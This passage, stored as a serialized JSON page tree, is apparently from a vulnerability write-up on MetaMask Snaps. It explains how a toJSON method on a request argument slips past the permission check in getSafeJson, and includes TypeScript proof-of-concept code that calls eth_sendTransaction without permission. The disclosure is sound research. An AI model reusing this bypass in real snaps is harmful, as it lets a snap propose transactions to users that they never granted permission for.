(",{"type":25,"tag":82,"props":42621,"children":42623},{"className":42622},[],[42624],{"type":31,"value":42135},{"type":31,"value":1301},{"type":25,"tag":82,"props":42627,"children":42629},{"className":42628},[],[42630],{"type":31,"value":35373},{"type":31,"value":42632},") are built outside the SES container with a ",{"type":25,"tag":82,"props":42634,"children":42636},{"className":42635},[],[42637],{"type":31,"value":35449},{"type":31,"value":10403},{"type":25,"tag":162,"props":42640,"children":42643},{"href":42641,"rel":42642},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[166],[42644],{"type":31,"value":35333},{"type":31,"value":1466},{"type":25,"tag":206,"props":42647,"children":42649},{"className":39887,"code":42648,"language":39889,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[42650],{"type":25,"tag":82,"props":42651,"children":42652},{"__ignoreMap":7},[42653,42700,42725,42758,42793,42805,42825,42863,42883,42890,42907,42940,42947],{"type":25,"tag":216,"props":42654,"children":42655},{"class":6916,"line":6917},[42656,42660,42664,42668,42672,42676,42680,42684,42688,42692,42696],{"type":25,"tag":216,"props":42657,"children":42658},{"style":6930},[42659],{"type":31,"value":40145},{"type":25,"tag":216,"props":42661,"children":42662},{"style":7041},[42663],{"type":31,"value":35338},{"type":25,"tag":216,"props":42665,"children":42666},{"style":6947},[42667],{"type":31,"value":6950},{"type":25,"tag":216,"props":42669,"children":42670},{"style":6930},[42671],{"type":31,"value":40322},{"type":25,"tag":216,"props":42673,"children":42674},{"style":6958},[42675],{"type":31,"value":7010},{"type":25,"tag":216,"props":42677,"children":42678},{"style":6941},[42679],{"type":31,"value":42185},{"type":25,"tag":216,"props":42681,"children":42682},{"style":6947},[42683],{"type":31,"value":1466},{"type":25,"tag":216,"props":42685,"children":42686},{"style":7369},[42687],{"type":31,"value":42194},{"type":25,"tag":216,"props":42689,"children":42690},{"style":6958},[42691],{"type":31,"value":7030},{"type":25,"tag":216,"props":42693,"children":42694},{"style":6930},[42695],{"type":31,"value":18773},{"type":25,"tag":216,"props":42697,"children":42698},{"style":6958},[42699],{"type":31,"value":7235},{"type":25,"tag":216,"props":42701,"children":42702},{"class":6916,"line":6763},[42703,42708,42712,42716,42720],{"type":25,"tag":216,"props":42704,"children":42705},{"style":7041},[42706],{"type":31,"value":42707},"      assertSnapOutboundRequest",{"type":25,"tag":216,"props":42709,"children":42710},{"style":6958},[42711],{"type":31,"value":1844},{"type":25,"tag":216,"props":42713,"children":42714},{"style":6941},[42715],{"type":31,"value":42185},{"type":25,"tag":216,"props":42717,"children":42718},{"style":6958},[42719],{"type":31,"value":32306},{"type":25,"tag":216,"props":42721,"children":42722},{"style":6921},[42723],{"type":31,"value":42724},"// or assertEthereumOutboundRequest(args);\n",{"type":25,"tag":216,"props":42726,"children":42727},{"class":6916,"line":6772},[42728,42732,42737,42741,42746,42750,42754],{"type":25,"tag":216,"props":42729,"children":42730},{"style":6930},[42731],{"type":31,"value":35503},{"type":25,"tag":216,"props":42733,"children":42734},{"style":6941},[42735],{"type":31,"value":42736}," sanitizedArgs",{"type":25,"tag":216,"props":42738,"children":42739},{"style":6947},[42740],{"type":31,"value":6950},{"type":25,"tag":216,"props":42742,"children":42743},{"style":7041},[42744],{"type":31,"value":42745}," getSafeJson",{"type":25,"tag":216,"props":42747,"children":42748},{"style":6958},[42749],{"type":31,"value":1844},{"type":25,"tag":216,"props":42751,"children":42752},{"style":6941},[42753],{"type":31,"value":42185},{"type":25,"tag":216,"props":42755,"children":42756},{"style":6958},[42757],{"type":31,"value":7791},{"type":25,"tag":216,"props":42759,"children":42760},{"class":6916,"line":6999},[42761,42766,42770,42775,42779,42783,42788],{"type":25,"tag":216,"props":42762,"children":42763},{"style":6930},[42764],{"type":31,"value":42765},"      this",{"type":25,"tag":216,"props":42767,"children":42768},{"style":6958},[42769],{"type":31,"value":179},{"type":25,"tag":216,"props":42771,"children":42772},{"style":7041},[42773],{"type":31,"value":42774},"notify",{"type":25,"tag":216,"props":42776,"children":42777},{"style":6958},[42778],{"type":31,"value":35454},{"type":25,"tag":216,"props":42780,"children":42781},{"style":6941},[42782],{"type":31,"value":35459},{"type":25,"tag":216,"props":42784,"children":42785},{"style":8199},[42786],{"type":31,"value":42787}," 'OutboundRequest'",{"type":25,"tag":216,"props":42789,"children":42790},{"style":6958},[42791],{"type":31,"value":42792}," });\n",{"type":25,"tag":216,"props":42794,"children":42795},{"class":6916,"line":7104},[42796,42801],{"type":25,"tag":216,"props":42797,"children":42798},{"style":6967},[42799],{"type":31,"value":42800},"      try",{"type":25,"tag":216,"props":42802,"children":42803},{"style":6958},[42804],{"type":31,"value":7235},{"type":25,"tag":216,"props":42806,"children":42807},{"class":6916,"line":7210},[42808,42812,42816,42821],{"type":25,"tag":216,"props":42809,"children":42810},{"style":6967},[42811],{"type":31,"value":19696},{"type":25,"tag":216,"props":42813,"children":42814},{"style":6967},[42815],{"type":31,"value":40168},{"type":25,"tag":216,"props":42817,"children":42818},{"style":7041},[42819],{"type":31,"value":42820}," withTeardown",{"type":25,"tag":216,"props":42822,"children":42823},{"style":6958},[42824],{"type":31,"value":7414},{"type":25,"tag":216,"props":42826,"children":42827},{"class":6916,"line":7238},[42828,42833,42837,42842,42846,42851,42855,42859],{"type":25,"tag":216,"props":42829,"children":42830},{"style":7041},[42831],{"type":31,"value":42832},"          originalRequest",{"type":25,"tag":216,"props":42834,"children":42835},{"style":6958},[42836],{"type":31,"value":1844},{"type":25,"tag":216,"props":42838,"children":42839},{"style":6941},[42840],{"type":31,"value":42841},"sanitizedArgs",{"type":25,"tag":216,"props":42843,"children":42844},{"style":6967},[42845],{"type":31,"value":12775},{"type":25,"tag":216,"props":42847,"children":42848},{"style":7369},[42849],{"type":31,"value":42850}," unknown",{"type":25,"tag":216,"props":42852,"children":42853},{"style":6967},[42854],{"type":31,"value":12775},{"type":25,"tag":216,"props":42856,"children":42857},{"style":7369},[42858],{"type":31,"value":42194},{"type":25,"tag":216,"props":42860,"children":42861},{"style":6958},[42862],{"type":31,"value":10682},{"type":25,"tag":216,"props":42864,"children":42865},{"class":6916,"line":7251},[42866,42871,42875,42879],{"type":25,"tag":216,"props":42867,"children":42868},{"style":6930},[42869],{"type":31,"value":42870},"          this",{"type":25,"tag":216,"props":42872,"children":42873},{"style":6967},[42874],{"type":31,"value":12775},{"type":25,"tag":216,"props":42876,"children":42877},{"style":7369},[42878],{"type":31,"value":14309},{"type":25,"tag":216,"props":42880,"children":42881},{"style":6958},[42882],{"type":31,"value":7459},{"type":25,"tag":216,"props":42884,"children":42885},{"class":6916,"line":7269},[42886],{"type":25,"tag":216,"props":42887,"children":42888},{"style":6958},[42889],{"type":31,"value":11689},{"type":25,"tag":216,"props":42891,"children":42892},{"class":6916,"line":7290},[42893,42898,42903],{"type":25,"tag":216,"props":42894,"children":42895},{"style":6958},[42896],{"type":31,"value":42897},"      } ",{"type":25,"tag":216,"props":42899,"children":42900},{"style":6967},[42901],{"type":31,"value":42902},"finally",{"type":25,"tag":216,"props":42904,"children":42905},{"style":6958},[42906],{"type":31,"value":7235},{"type":25,"tag":216,"props":42908,"children":42909},{"class":6916,"line":7299},[42910,42915,42919,42923,42927,42931,42936],{"type":25,"tag":216,"props":42911,"children":42912},{"style":6930},[42913],{"type":31,"value":42914},"        this",{"type":25,"tag":216,"props":42916,"children":42917},{"style":6958},[42918],{"type":31,"value":179},{"type":25,"tag":216,"props":42920,"children":42921},{"style":7041},[42922],{"type":31,"value":42774},{"type":25,"tag":216,"props":42924,"children":42925},{"style":6958},[42926],{"type":31,"value":35454},{"type":25,"tag":216,"props":42928,"children":42929},{"style":6941},[42930],{"type":31,"value":35459},{"type":25,"tag":216,"props":42932,"children":42933},{"style":8199},[42934],{"type":31,"value":42935}," 'OutboundResponse'",{"type":25,"tag":216,"props":42937,"children":42938},{"style":6958},[42939],{"type":31,"value":42792},{"type":25,"tag":216,"props":42941,"children":42942},{"class":6916,"line":7551},[42943],{"type":25,"tag":216,"props":42944,"children":42945},{"style":6958},[42946],{"type":31,"value":16614},{"type":25,"tag":216,"props":42948,"children":42949},{"class":6916,"line":7568},[42950],{"type":25,"tag":216,"props":42951,"children":42952},{"style":6958},[42953],{"type":31,"value":42954},"    };\n",{"type":25,"tag":38,"props":42956,"children":42957},{},[42958,42960,42965,42967,42972],{"type":31,"value":42959},"In particular, this function is from the ",{"type":25,"tag":82,"props":42961,"children":42963},{"className":42962},[],[42964],{"type":31,"value":42135},{"type":31,"value":42966}," provider, but the only thing that changes between this and ",{"type":25,"tag":82,"props":42968,"children":42970},{"className":42969},[],[42971],{"type":31,"value":35373},{"type":31,"value":42973}," is the assert function in the first line.",{"type":25,"tag":38,"props":42975,"children":42976},{},[42977],{"type":31,"value":42978},"As we can see in the code, the execution flow follows this pattern:",{"type":25,"tag":6705,"props":42980,"children":42981},{},[42982,42994,42999],{"type":25,"tag":2037,"props":42983,"children":42984},{},[42985,42987,42992],{"type":31,"value":42986},"Assert if ",{"type":25,"tag":82,"props":42988,"children":42990},{"className":42989},[],[42991],{"type":31,"value":42185},{"type":31,"value":42993}," are valid",{"type":25,"tag":2037,"props":42995,"children":42996},{},[42997],{"type":31,"value":42998},"getSafeJson to get sanitizedArgs",{"type":25,"tag":2037,"props":43000,"children":43001},{},[43002],{"type":31,"value":43003},"originalRequest(sanitizedArgs)",{"type":25,"tag":38,"props":43005,"children":43006},{},[43007,43009,43015],{"type":31,"value":43008},"Obs: ",{"type":25,"tag":82,"props":43010,"children":43012},{"className":43011},[],[43013],{"type":31,"value":43014},"originalRequest",{"type":31,"value":43016}," makes the RPC call to metamask service worker",{"type":25,"tag":607,"props":43018,"children":43020},{"id":43019},"safe-json-exploit",[43021],{"type":31,"value":43022},"Safe JSON Exploit",{"type":25,"tag":38,"props":43024,"children":43025},{},[43026,43028,43034,43036,43041,43043,43049],{"type":31,"value":43027},"As we dug further into the",{"type":25,"tag":82,"props":43029,"children":43031},{"className":43030},[],[43032],{"type":31,"value":43033},"getSafeJson",{"type":31,"value":43035}," function (defined in ",{"type":25,"tag":82,"props":43037,"children":43039},{"className":43038},[],[43040],{"type":31,"value":41253},{"type":31,"value":43042}," package) we discovered the following ",{"type":25,"tag":162,"props":43044,"children":43047},{"href":43045,"rel":43046},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[166],[43048],{"type":31,"value":82},{"type":31,"value":1466},{"type":25,"tag":206,"props":43051,"children":43053},{"className":39570,"code":43052,"language":39572,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[43054],{"type":25,"tag":82,"props":43055,"children":43056},{"__ignoreMap":7},[43057,43122,43149,43174,43229,43237,43284,43300,43307,43324,43331,43338],{"type":25,"tag":216,"props":43058,"children":43059},{"class":6916,"line":6917},[43060,43064,43069,43074,43078,43083,43087,43092,43096,43100,43105,43110,43114,43118],{"type":25,"tag":216,"props":43061,"children":43062},{"style":6967},[43063],{"type":31,"value":42166},{"type":25,"tag":216,"props":43065,"children":43066},{"style":6930},[43067],{"type":31,"value":43068}," const",{"type":25,"tag":216,"props":43070,"children":43071},{"style":6941},[43072],{"type":31,"value":43073}," JsonStruct",{"type":25,"tag":216,"props":43075,"children":43076},{"style":6947},[43077],{"type":31,"value":6950},{"type":25,"tag":216,"props":43079,"children":43080},{"style":7041},[43081],{"type":31,"value":43082}," coerce",{"type":25,"tag":216,"props":43084,"children":43085},{"style":6958},[43086],{"type":31,"value":1844},{"type":25,"tag":216,"props":43088,"children":43089},{"style":6941},[43090],{"type":31,"value":43091},"UnsafeJsonStruct",{"type":25,"tag":216,"props":43093,"children":43094},{"style":6958},[43095],{"type":31,"value":7020},{"type":25,"tag":216,"props":43097,"children":43098},{"style":7041},[43099],{"type":31,"value":20665},{"type":25,"tag":216,"props":43101,"children":43102},{"style":6958},[43103],{"type":31,"value":43104},"(), (",{"type":25,"tag":216,"props":43106,"children":43107},{"style":6941},[43108],{"type":31,"value":43109},"value",{"type":25,"tag":216,"props":43111,"children":43112},{"style":6958},[43113],{"type":31,"value":7030},{"type":25,"tag":216,"props":43115,"children":43116},{"style":6930},[43117],{"type":31,"value":18773},{"type":25,"tag":216,"props":43119,"children":43120},{"style":6958},[43121],{"type":31,"value":7235},{"type":25,"tag":216,"props":43123,"children":43124},{"class":6916,"line":6763},[43125,43129,43133,43137,43141,43145],{"type":25,"tag":216,"props":43126,"children":43127},{"style":7041},[43128],{"type":31,"value":42517},{"type":25,"tag":216,"props":43130,"children":43131},{"style":6958},[43132],{"type":31,"value":1844},{"type":25,"tag":216,"props":43134,"children":43135},{"style":6941},[43136],{"type":31,"value":43109},{"type":25,"tag":216,"props":43138,"children":43139},{"style":6958},[43140],{"type":31,"value":7020},{"type":25,"tag":216,"props":43142,"children":43143},{"style":6941},[43144],{"type":31,"value":43091},{"type":25,"tag":216,"props":43146,"children":43147},{"style":6958},[43148],{"type":31,"value":7791},{"type":25,"tag":216,"props":43150,"children":43151},{"class":6916,"line":6772},[43152,43157,43161,43165,43170],{"type":25,"tag":216,"props":43153,"children":43154},{"style":6967},[43155],{"type":31,"value":43156},"  return",{"type":25,"tag":216,"props":43158,"children":43159},{"style":6941},[43160],{"type":31,"value":41485},{"type":25,"tag":216,"props":43162,"children":43163},{"style":6958},[43164],{"type":31,"value":179},{"type":25,"tag":216,"props":43166,"children":43167},{"style":7041},[43168],{"type":31,"value":43169},"parse",{"type":25,"tag":216,"props":43171,"children":43172},{"style":6958},[43173],{"type":31,"value":7414},{"type":25,"tag":216,"props":43175,"children":43176},{"class":6916,"line":6999},[43177,43182,43186,43191,43195,43199,43203,43208,43212,43217,43221,43225],{"type":25,"tag":216,"props":43178,"children":43179},{"style":6941},[43180],{"type":31,"value":43181},"    JSON",{"type":25,"tag":216,"props":43183,"children":43184},{"style":6958},[43185],{"type":31,"value":179},{"type":25,"tag":216,"props":43187,"children":43188},{"style":7041},[43189],{"type":31,"value":43190},"stringify",{"type":25,"tag":216,"props":43192,"children":43193},{"style":6958},[43194],{"type":31,"value":1844},{"type":25,"tag":216,"props":43196,"children":43197},{"style":6941},[43198],{"type":31,"value":43109},{"type":25,"tag":216,"props":43200,"children":43201},{"style":6958},[43202],{"type":31,"value":12766},{"type":25,"tag":216,"props":43204,"children":43205},{"style":6941},[43206],{"type":31,"value":43207},"propKey",{"type":25,"tag":216,"props":43209,"children":43210},{"style":6958},[43211],{"type":31,"value":7020},{"type":25,"tag":216,"props":43213,"children":43214},{"style":6941},[43215],{"type":31,"value":43216},"propValue",{"type":25,"tag":216,"props":43218,"children":43219},{"style":6958},[43220],{"type":31,"value":7030},{"type":25,"tag":216,"props":43222,"children":43223},{"style":6930},[43224],{"type":31,"value":18773},{"type":25,"tag":216,"props":43226,"children":43227},{"style":6958},[43228],{"type":31,"value":7235},{"type":25,"tag":216,"props":43230,"children":43231},{"class":6916,"line":7104},[43232],{"type":25,"tag":216,"props":43233,"children":43234},{"style":6921},[43235],{"type":31,"value":43236},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":25,"tag":216,"props":43238,"children":43239},{"class":6916,"line":7210},[43240,43245,43249,43253,43257,43262,43266,43271,43275,43280],{"type":25,"tag":216,"props":43241,"children":43242},{"style":6967},[43243],{"type":31,"value":43244},"      if",{"type":25,"tag":216,"props":43246,"children":43247},{"style":6958},[43248],{"type":31,"value":7010},{"type":25,"tag":216,"props":43250,"children":43251},{"style":6941},[43252],{"type":31,"value":43207},{"type":25,"tag":216,"props":43254,"children":43255},{"style":6947},[43256],{"type":31,"value":35378},{"type":25,"tag":216,"props":43258,"children":43259},{"style":8199},[43260],{"type":31,"value":43261}," '__proto__'",{"type":25,"tag":216,"props":43263,"children":43264},{"style":6947},[43265],{"type":31,"value":27648},{"type":25,"tag":216,"props":43267,"children":43268},{"style":6941},[43269],{"type":31,"value":43270}," propKey",{"type":25,"tag":216,"props":43272,"children":43273},{"style":6947},[43274],{"type":31,"value":35378},{"type":25,"tag":216,"props":43276,"children":43277},{"style":8199},[43278],{"type":31,"value":43279}," 'constructor'",{"type":25,"tag":216,"props":43281,"children":43282},{"style":6958},[43283],{"type":31,"value":18755},{"type":25,"tag":216,"props":43285,"children":43286},{"class":6916,"line":7238},[43287,43291,43296],{"type":25,"tag":216,"props":43288,"children":43289},{"style":6967},[43290],{"type":31,"value":19696},{"type":25,"tag":216,"props":43292,"children":43293},{"style":6930},[43294],{"type":31,"value":43295}," undefined",{"type":25,"tag":216,"props":43297,"children":43298},{"style":6958},[43299],{"type":31,"value":6961},{"type":25,"tag":216,"props":43301,"children":43302},{"class":6916,"line":7251},[43303],{"type":25,"tag":216,"props":43304,"children":43305},{"style":6958},[43306],{"type":31,"value":16614},{"type":25,"tag":216,"props":43308,"children":43309},{"class":6916,"line":7269},[43310,43315,43320],{"type":25,"tag":216,"props":43311,"children":43312},{"style":6967},[43313],{"type":31,"value":43314},"      return",{"type":25,"tag":216,"props":43316,"children":43317},{"style":6941},[43318],{"type":31,"value":43319}," propValue",{"type":25,"tag":216,"props":43321,"children":43322},{"style":6958},[43323],{"type":31,"value":6961},{"type":25,"tag":216,"props":43325,"children":43326},{"class":6916,"line":7290},[43327],{"type":25,"tag":216,"props":43328,"children":43329},{"style":6958},[43330],{"type":31,"value":42502},{"type":25,"tag":216,"props":43332,"children":43333},{"class":6916,"line":7299},[43334],{"type":25,"tag":216,"props":43335,"children":43336},{"style":6958},[43337],{"type":31,"value":42369},{"type":25,"tag":216,"props":43339,"children":43340},{"class":6916,"line":7551},[43341],{"type":25,"tag":216,"props":43342,"children":43343},{"style":6958},[43344],{"type":31,"value":39295},{"type":25,"tag":38,"props":43346,"children":43347},{},[43348,43350,43356,43358,43363,43365,43371,43373,43379],{"type":31,"value":43349},"The function performs a ",{"type":25,"tag":82,"props":43351,"children":43353},{"className":43352},[],[43354],{"type":31,"value":43355},"JSON.parse(JSON.stringify(value))",{"type":31,"value":43357}," in the argument sent to ",{"type":25,"tag":82,"props":43359,"children":43361},{"className":43360},[],[43362],{"type":31,"value":43033},{"type":31,"value":43364},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":25,"tag":82,"props":43366,"children":43368},{"className":43367},[],[43369],{"type":31,"value":43370},"toJSON",{"type":31,"value":43372}," function in a legit ",{"type":25,"tag":82,"props":43374,"children":43376},{"className":43375},[],[43377],{"type":31,"value":43378},"snap.request",{"type":31,"value":43380}," argument:",{"type":25,"tag":6705,"props":43382,"children":43383},{},[43384,43389,43394],{"type":25,"tag":2037,"props":43385,"children":43386},{},[43387],{"type":31,"value":43388},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":25,"tag":2037,"props":43390,"children":43391},{},[43392],{"type":31,"value":43393},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":25,"tag":2037,"props":43395,"children":43396},{},[43397],{"type":31,"value":43398},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":25,"tag":38,"props":43400,"children":43401},{},[43402],{"type":31,"value":43403},"The assertion bypass can be useful on two occasions:",{"type":25,"tag":6705,"props":43405,"children":43406},{},[43407,43412],{"type":25,"tag":2037,"props":43408,"children":43409},{},[43410],{"type":31,"value":43411},"forward blocked RPC methods",{"type":25,"tag":2037,"props":43413,"children":43414},{},[43415,43417,43422,43424,43430,43432,43437],{"type":31,"value":43416},"Making requests in ",{"type":25,"tag":82,"props":43418,"children":43420},{"className":43419},[],[43421],{"type":31,"value":43378},{"type":31,"value":43423}," that were only supposed to be done within ",{"type":25,"tag":82,"props":43425,"children":43427},{"className":43426},[],[43428],{"type":31,"value":43429},"ethereum.request",{"type":31,"value":43431}," (with ",{"type":25,"tag":82,"props":43433,"children":43435},{"className":43434},[],[43436],{"type":31,"value":42606},{"type":31,"value":43438}," enabled).",{"type":25,"tag":38,"props":43440,"children":43441},{},[43442],{"type":31,"value":43443},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":25,"tag":607,"props":43445,"children":43446},{"id":9606},[43447],{"type":31,"value":9609},{"type":25,"tag":38,"props":43449,"children":43450},{},[43451],{"type":31,"value":43452},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":25,"tag":38,"props":43454,"children":43455},{},[43456],{"type":25,"tag":6461,"props":43457,"children":43459},{"alt":7,"src":43458},"/posts/metamask-snaps/note.png",[],{"type":25,"tag":607,"props":43461,"children":43463},{"id":43462},"proof-of-concept",[43464],{"type":31,"value":38786},{"type":25,"tag":38,"props":43466,"children":43467},{},[43468,43470,43475,43477,43482,43484,43490],{"type":31,"value":43469},"To demonstrate the issue, we created a snap without the ",{"type":25,"tag":82,"props":43471,"children":43473},{"className":43472},[],[43474],{"type":31,"value":42606},{"type":31,"value":43476}," permission, and used the ",{"type":25,"tag":82,"props":43478,"children":43480},{"className":43479},[],[43481],{"type":31,"value":42135},{"type":31,"value":43483}," interface to call ",{"type":25,"tag":82,"props":43485,"children":43487},{"className":43486},[],[43488],{"type":31,"value":43489},"eth_sendTransaction",{"type":31,"value":43491},". According to the documentation, this shouldn't be possible:",{"type":25,"tag":206,"props":43493,"children":43495},{"className":39570,"code":43494,"language":39572,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[43496],{"type":25,"tag":82,"props":43497,"children":43498},{"__ignoreMap":7},[43499,43532,43539,43546,43563,43592,43599,43624,43631,43663,43674,43691,43704,43711,43718,43725,43757,43764,43771,43778,43794,43821,43828,43851,43858,43889,43900,43916,43928,43949,43964,43981,43989,43996,44003,44010,44041,44048,44055,44115,44122,44150,44167,44182,44198,44213,44225,44255,44262],{"type":25,"tag":216,"props":43500,"children":43501},{"class":6916,"line":6917},[43502,43506,43510,43515,43519,43523,43528],{"type":25,"tag":216,"props":43503,"children":43504},{"style":6967},[43505],{"type":31,"value":23437},{"type":25,"tag":216,"props":43507,"children":43508},{"style":6958},[43509],{"type":31,"value":13536},{"type":25,"tag":216,"props":43511,"children":43512},{"style":6941},[43513],{"type":31,"value":43514},"OnRpcRequestHandler",{"type":25,"tag":216,"props":43516,"children":43517},{"style":6958},[43518],{"type":31,"value":40159},{"type":25,"tag":216,"props":43520,"children":43521},{"style":6967},[43522],{"type":31,"value":23427},{"type":25,"tag":216,"props":43524,"children":43525},{"style":8199},[43526],{"type":31,"value":43527}," '@metamask/snaps-types'",{"type":25,"tag":216,"props":43529,"children":43530},{"style":6958},[43531],{"type":31,"value":6961},{"type":25,"tag":216,"props":43533,"children":43534},{"class":6916,"line":6763},[43535],{"type":25,"tag":216,"props":43536,"children":43537},{"emptyLinePlaceholder":16},[43538],{"type":31,"value":7636},{"type":25,"tag":216,"props":43540,"children":43541},{"class":6916,"line":6772},[43542],{"type":25,"tag":216,"props":43543,"children":43544},{"emptyLinePlaceholder":16},[43545],{"type":31,"value":7636},{"type":25,"tag":216,"props":43547,"children":43548},{"class":6916,"line":6999},[43549,43553,43558],{"type":25,"tag":216,"props":43550,"children":43551},{"style":6930},[43552],{"type":31,"value":35333},{"type":25,"tag":216,"props":43554,"children":43555},{"style":7041},[43556],{"type":31,"value":43557}," jsonExploit",{"type":25,"tag":216,"props":43559,"children":43560},{"style":6958},[43561],{"type":31,"value":43562},"(){\n",{"type":25,"tag":216,"props":43564,"children":43565},{"class":6916,"line":7104},[43566,43570,43574,43578,43583,43587],{"type":25,"tag":216,"props":43567,"children":43568},{"style":6930},[43569],{"type":31,"value":11801},{"type":25,"tag":216,"props":43571,"children":43572},{"style":6941},[43573],{"type":31,"value":23019},{"type":25,"tag":216,"props":43575,"children":43576},{"style":6947},[43577],{"type":31,"value":6950},{"type":25,"tag":216,"props":43579,"children":43580},{"style":6958},[43581],{"type":31,"value":43582}," [] ",{"type":25,"tag":216,"props":43584,"children":43585},{"style":6967},[43586],{"type":31,"value":12789},{"type":25,"tag":216,"props":43588,"children":43589},{"style":7369},[43590],{"type":31,"value":43591}," any\n",{"type":25,"tag":216,"props":43593,"children":43594},{"class":6916,"line":7210},[43595],{"type":25,"tag":216,"props":43596,"children":43597},{"emptyLinePlaceholder":16},[43598],{"type":31,"value":7636},{"type":25,"tag":216,"props":43600,"children":43601},{"class":6916,"line":7238},[43602,43607,43611,43615,43619],{"type":25,"tag":216,"props":43603,"children":43604},{"style":6941},[43605],{"type":31,"value":43606},"  x",{"type":25,"tag":216,"props":43608,"children":43609},{"style":6958},[43610],{"type":31,"value":179},{"type":25,"tag":216,"props":43612,"children":43613},{"style":6941},[43614],{"type":31,"value":42270},{"type":25,"tag":216,"props":43616,"children":43617},{"style":6947},[43618],{"type":31,"value":6950},{"type":25,"tag":216,"props":43620,"children":43621},{"style":8199},[43622],{"type":31,"value":43623}," \"snap_dialog\"\n",{"type":25,"tag":216,"props":43625,"children":43626},{"class":6916,"line":7251},[43627],{"type":25,"tag":216,"props":43628,"children":43629},{"emptyLinePlaceholder":16},[43630],{"type":31,"value":7636},{"type":25,"tag":216,"props":43632,"children":43633},{"class":6916,"line":7269},[43634,43638,43642,43646,43650,43655,43659],{"type":25,"tag":216,"props":43635,"children":43636},{"style":6941},[43637],{"type":31,"value":43606},{"type":25,"tag":216,"props":43639,"children":43640},{"style":6958},[43641],{"type":31,"value":179},{"type":25,"tag":216,"props":43643,"children":43644},{"style":7041},[43645],{"type":31,"value":43370},{"type":25,"tag":216,"props":43647,"children":43648},{"style":6947},[43649],{"type":31,"value":6950},{"type":25,"tag":216,"props":43651,"children":43652},{"style":6958},[43653],{"type":31,"value":43654}," () ",{"type":25,"tag":216,"props":43656,"children":43657},{"style":6930},[43658],{"type":31,"value":18773},{"type":25,"tag":216,"props":43660,"children":43661},{"style":6958},[43662],{"type":31,"value":7235},{"type":25,"tag":216,"props":43664,"children":43665},{"class":6916,"line":7290},[43666,43670],{"type":25,"tag":216,"props":43667,"children":43668},{"style":6967},[43669],{"type":31,"value":20941},{"type":25,"tag":216,"props":43671,"children":43672},{"style":6958},[43673],{"type":31,"value":7235},{"type":25,"tag":216,"props":43675,"children":43676},{"class":6916,"line":7299},[43677,43682,43687],{"type":25,"tag":216,"props":43678,"children":43679},{"style":6941},[43680],{"type":31,"value":43681},"      method:",{"type":25,"tag":216,"props":43683,"children":43684},{"style":8199},[43685],{"type":31,"value":43686}," \"eth_requestAccounts\"",{"type":25,"tag":216,"props":43688,"children":43689},{"style":6958},[43690],{"type":31,"value":7459},{"type":25,"tag":216,"props":43692,"children":43693},{"class":6916,"line":7551},[43694,43699],{"type":25,"tag":216,"props":43695,"children":43696},{"style":6941},[43697],{"type":31,"value":43698},"      params:",{"type":25,"tag":216,"props":43700,"children":43701},{"style":6958},[43702],{"type":31,"value":43703}," []\n",{"type":25,"tag":216,"props":43705,"children":43706},{"class":6916,"line":7568},[43707],{"type":25,"tag":216,"props":43708,"children":43709},{"style":6958},[43710],{"type":31,"value":7305},{"type":25,"tag":216,"props":43712,"children":43713},{"class":6916,"line":7585},[43714],{"type":25,"tag":216,"props":43715,"children":43716},{"style":6958},[43717],{"type":31,"value":9817},{"type":25,"tag":216,"props":43719,"children":43720},{"class":6916,"line":7598},[43721],{"type":25,"tag":216,"props":43722,"children":43723},{"emptyLinePlaceholder":16},[43724],{"type":31,"value":7636},{"type":25,"tag":216,"props":43726,"children":43727},{"class":6916,"line":7607},[43728,43732,43737,43741,43745,43749,43753],{"type":25,"tag":216,"props":43729,"children":43730},{"style":6967},[43731],{"type":31,"value":43156},{"type":25,"tag":216,"props":43733,"children":43734},{"style":6941},[43735],{"type":31,"value":43736}," 